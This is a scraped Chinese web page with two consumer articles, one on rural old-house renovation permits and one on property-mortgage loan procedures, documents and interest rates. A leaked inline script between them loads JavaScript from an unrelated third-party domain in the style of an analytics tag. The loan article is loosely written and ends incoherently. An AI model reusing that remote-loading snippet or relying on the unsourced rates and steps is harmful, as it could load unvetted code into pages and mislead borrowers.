农村旧房改造政策 农民应注意什么？

可以说，旧房改造政策是国家建设新农村一项新举措，利国利民，非常受老百姓的欢迎。随着社会的发展和进步，人们的经济条件的不同，农村现有房屋参差不齐，有的像城里的高楼广厦，内部装修豪华，有的依旧住在茅草房内，所以国家采取补贴和减免等方法实施旧房改造政策，缩短了贫富差距，美化了乡村建设。随着国家对农村政策的逐步开放，农民的投资理念也有所转变，农村房屋变得越来越抢手，一些投资商开始琢磨在农村土地上实现自己的发财梦，农村旧房改造一时风生水起，泥沙俱下。但是，由于国家及时发现这一问题，并运用政策加以限制，所以，农房改造不是轻易能完成的，需要提前办理相关手续才能做到。因此，广大农户若不想以后看着邻居家拿钱，自己眼红，就要熟知国家有关农村旧房改造政策，早做准备，早受益。农民朋友需要了解清楚今年农村旧房改造哪些问题呢？落实农村旧房改造政策要注意哪些问题呢？一要了解什么条件下才能享受农村旧房改造政策。譬如旧房改住房改造应具备下列条件，关于住房产权置换面积的问题，以及对改造补偿安置的规定等等。二要知道旧房改造政策规定了那些手续。1、没有房产证的，如土地证上四邻清楚，将老房拍照，写出申请，持土地证、身份证、老房照片，到行政审批大厅规划局窗口报建；2、如土地证、房产证齐全，将老房拍照，写出申请，然后持土地证、房产证、身份证、老房照片，到行政审批大厅规划局窗口报建；3、没有房产证、且土地证四邻不清的，需土地部门对土地证认定后，写出申请，持土地证、身份证、老房照片，到行政审批大厅规划局窗口报建；三要根据《土地管理法》的相关规定，在原有宅基地上翻建、改建房屋，必须履行审批手续，得到相关部门批准后方可施工建筑，只需要交纳几十元的相关的手续审批费，才能享受旧房改造政策。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

房产抵押手续怎么办理

现在的年轻人到了谈婚论嫁的年龄之后，就开始买房过日子了，而且很多年轻人呢开始也没有多少的积蓄，而且买房吧手里也没有多少钱，于是就想进行房屋抵押贷款，那么对于房屋抵押手续怎么处理呢，会不会很麻烦呢，而且有一部分年轻人呢，也没有正式的工作，如果是办理房屋抵押的话，会不会受影响呢，到底房屋抵押手续如何进行登记呢?房屋抵押贷款.贷款人向银行申请.由银行委托房产评估机构对房产评估.后取得银行预审批报告.所有权利人到房地产办理房屋抵押手续.取得他项权利证后交与银行质押.银行放贷.办理时间一般办理时间15天-20天左右.特殊情况例外，流程是：查征信---做评估---面签--打协议---出他向---提供去向---进抵押----放款。需要提供身份证、户口本、收入证明、房产证、结婚证就可以了!一般在20天左右就可以放款!年息从6.55-7.8之间，看借款人资质!1首先贷款申请人需要向银行相关登记部门提出房屋抵押贷款申请，并递交相关证明资料，如必须提高身份证件、户口本、居住地证明及婚姻证明等相关材料。2相关房屋评估部门将对房子进行估价评估，以确定可信贷款的额度。届时需要贷款申请人提供房屋产权证以及相关资产状况证明。如果抵押贷款申请人以他人房产作抵押，则需要提供房产权属人身份证、婚姻状况证明以及同意抵押的书面证明。3经过对房屋评估之后，如果符合相关规定和要求时，银行将出面与贷款申请人签署抵押合同，并办理抵押登记手续。4抵押登陆手续办理完成后，银行将正式发放贷款，抵押贷款人将按抵押合同定期归还贷款本息。5通常房屋抵押贷款的还款方式为：个人消费贷款一般是等额本息还款，15年贷款期限。个人经营性贷款分为等额本息和先息后本两种。贷款期限分别为15年和1年。当在规定的年限内还清贷款本息后，就办理撤贷手续。通过上面的很多流程就可以看到，其实办理房屋抵押手续并不是很困难的事情，只要是能够把所要提交的材料全部准备好，同时也要让专门的房管局进行房屋抵押登记，只有办妥了这样的一些流程工作的话，那么你的房屋抵押贷款就能够按照规定的时间给办理下来，那么开发商就会按照协议把新房的钥匙交给你了。